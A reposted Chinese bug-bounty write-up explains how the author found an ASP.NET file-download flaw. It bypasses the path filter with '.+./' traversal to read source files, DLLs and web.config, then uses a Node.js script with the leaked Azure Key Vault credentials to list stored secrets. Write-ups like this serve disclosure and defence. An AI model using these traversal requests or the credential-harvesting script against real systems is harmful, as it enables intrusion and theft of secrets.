中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ASP.NET應用泄露讀取分析

發布時間:2021-12-06 14:55:57 來源:億速云 閱讀:323 作者:iii 欄目:網絡管理

本篇內容主要講解“ASP.NET應用泄露讀取分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“ASP.NET應用泄露讀取分析”吧!

確定漏洞點

在最近的挖洞過程中,我遇到了以下這個url

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...

首先就覺得可以試試任意文件下載,訪問后,在加載頁面時,它會從服務器上的另一個路徑下載幫助文檔。但是它加密了,我沒法篡改f的值,假設我能夠找到密鑰來解密參數(可能是AES加密),估計能嘗試利用下LDF。

不過運氣還不錯,在網站的舊版本中找到了相同的下載點,如下:

https://domain.com/utility/download.aspx?f=file1234.docx

響應如下:

HTTP/1.1 200 OKConnection: closeContent-Length: 27363?ó|u?Z^tù¢y?ˉ;!Y,}{?C?3/h>

我立馬就把參數改成download.aspx,竟然能返回apsx文件內容。

GET /utility/download.aspx?f=download.aspxHTTP/1.1 200 OKConnection: closeContent-Length: 263<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>

經過測試,能訪問aspx文件內容,但是實際的源碼文件aspx.cs無法訪問。

有關.aspx與.aspx.cs的區別可以參考https://stackoverflow.com/questions/13182757/what-is-the-difference-between-aspx-and-aspx-cs

這個問題需要解決,不然無法后續進行利用。

我接著訪問其他目錄,看看有沒有發現。

繞過目錄訪問限制

使用常規的../來遍歷時,發現總是返回400 bad request,估計有過濾。

使用burp嘗試下fuzz,看看能不能繞過。

可以手工進行測試,但為了節省時間就使用以下請求進行fuzz

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

ASP.NET應用泄露讀取分析

查看返回的內容,發現使用字符+返回了正確的內容。

這里我很疑惑,本地搭建環境測試的使用我使用+進行fuzz沒成功,大致猜想加號在url中代表空格,也許與Window的文件名有關。

進一步利用

既然繞過了限制,接著我嘗試讀取了下ashx文件,ashx文件是一種帶HTML和C#的混合文件,猜測應該能讀取。

讀取成功

HTTP/1.1 200 OKConnection: closeContent-Length: 2398<%@ WebHandler Language="C#" Class="redacted.redacted" %>Imports SystemImports System.DataImports System.Data.SqlClientImports System.IOImports System.WebImports System.Configuration...

到這里已經能得到一些敏感信息了,接著想更深一步利用,所以我決定讀取更多的源代碼文件。

當對一種技術迷惑的時候,最好是去讀它的官方文檔,所以在閱讀ASP.NET應用程序文檔時發現編譯類是保留/bin/className.dll中的。這意味著我們應該能夠提取.ashx 文件中引用的類名。

通過發送以下請求,我能夠下載到源文件的DLL(存儲DLLhttps://blogs.msdn.microsoft.com/tom/2008/07/21/asp-net-tips-loading-a-dll-out-of-the-bin-directory/)

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下載后,使用dnSpy(C#反編譯工具)導入DLL并恢復應用程序的源代碼,之后可以下載更多的類文件來獲取源代碼。

ASP.NET應用泄露讀取分析

Azure密鑰泄露證明造成嚴重影響

ASP.NET應用程序中敏感的文件有web.config,該文件本質上是一個配置文件,其中包含從單個頁面到整個Web服務器的各種變量。文件里存在大量敏感信息,例如SQL數據庫密碼,比如上面我們看到的已加密參數的加密密鑰,以及應用程序使用的內部接口。

下面是一個示例web.config文件。

<?xml version="1.0" encoding="utf-8"?><!--  For more information on how to configure your ASP.NET application, please visithttp://go.microsoft.com/fwlink/?LinkId=301880  --><configuration>  <appSettings>    <add key="webpages:Version" value="3.0.0.0" />    <add key="webpages:Enabled" value="false" />    <add key="ClientValidationEnabled" value="true" />    <add key="UnobtrusiveJavaScriptEnabled" value="true" />    <add key="PodioClientId" value="" />    <add key="PodioClientSecret" value="" />        <add key="AppId" value="" />    <add key="SpaceId" value="" />  </appSettings>  <connectionStrings>    <remove name="umbracoDbDSN" />    <add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />  </connectionStrings>    <system.web>    <compilation debug="true" targetFramework="4.5" />    <httpRuntime targetFramework="4.5" />  </system.web></configuration>

發送以下請求后,我們獲取到了web.config的內容。

GET /utility/download.aspx?f=.+./.+./web.config

其中響應中包含了許多secrets,最值得注意的是以下secrets的泄露。

...<add key="keyVaultDataPlaneUri" value="redacted" /><add key="uniqueKeyVaultNameUri" value="redacted" /><add key="keyVaultClientId" value="redacted" /><add key="keyVaultClientSecretIdentifier" value="redacted" /><add key="keyVaultClientTenantName" value="redacted" /><add key="keyVaultAuthenticationContextUri" value="redacted" /><add key="keyVaultApiVersion" value="2016-10-01" />...

利用這些密鑰可以訪問Azure Key Vault實例。而Azure Key Vault用來保存應用程序的secrets,會帶有一些敏感信息。

現在的問題是如何正確發送請求來訪問Azure Key Vault實例?在與朋友shubs討論之后,他立馬寫出了一個Node.js腳本,使用公開的密鑰成功訪問了Azure Key Vault實例...哈哈

var KeyVault = require('azure-keyvault');var AuthenticationContext = require('adal-node').AuthenticationContext;var clientId = "clientId";var clientSecret = "clientSecret";var vaultUri = "vaultUri";// Authenticator - retrieves the access tokenvar authenticator = function (challenge, callback) {  // Create a new authentication context.  var context = new AuthenticationContext(challenge.authorization);  // Use the context to acquire an authentication token.  return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {    if (err) throw err;    // Calculate the value to be set in the request's Authorization header and resume the call.    var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;    console.log(authorizationValue);    return callback(null, authorizationValue);  });};var credentials = new KeyVault.KeyVaultCredentials(authenticator);var client = new KeyVault.KeyVaultClient(credentials);client.getSecrets(vaultUri).then(function(value) {    console.log(value);});

響應如下:

{ id:     'https://redacted.vault.azure.net/secrets/ftp_credentials',    attributes:     { enabled: true,       created: 2018-01-23T22:14:18.000Z,       updated: 2018-01-23T22:14:18.000Z,       recoveryLevel: 'Purgeable' },    contentType: 'secret' } ]... more secrets ...

本次漏洞利用完成,最終獲取的secrets足以讓我控制系統來證明危害程度,所以可以提交報告了。

到此,相信大家對“ASP.NET應用泄露讀取分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

鹤峰县| 穆棱市| 陵水| 台东县| 武定县| 大安市| 大同市| 绥宁县| 浏阳市| 涪陵区| 阜新市| 临海市| 武汉市| 合肥市| 昌图县| 政和县| 齐齐哈尔市| 稷山县| 清流县| 双城市| 徐水县| 民勤县| 北流市| 吴江市| 武定县| 建宁县| 陕西省| 东阿县| 曲水县| 景宁| 都安| 旬阳县| 芜湖市| 东港市| 象州县| 威信县| 射阳县| 明光市| 英超| 太康县| 云南省|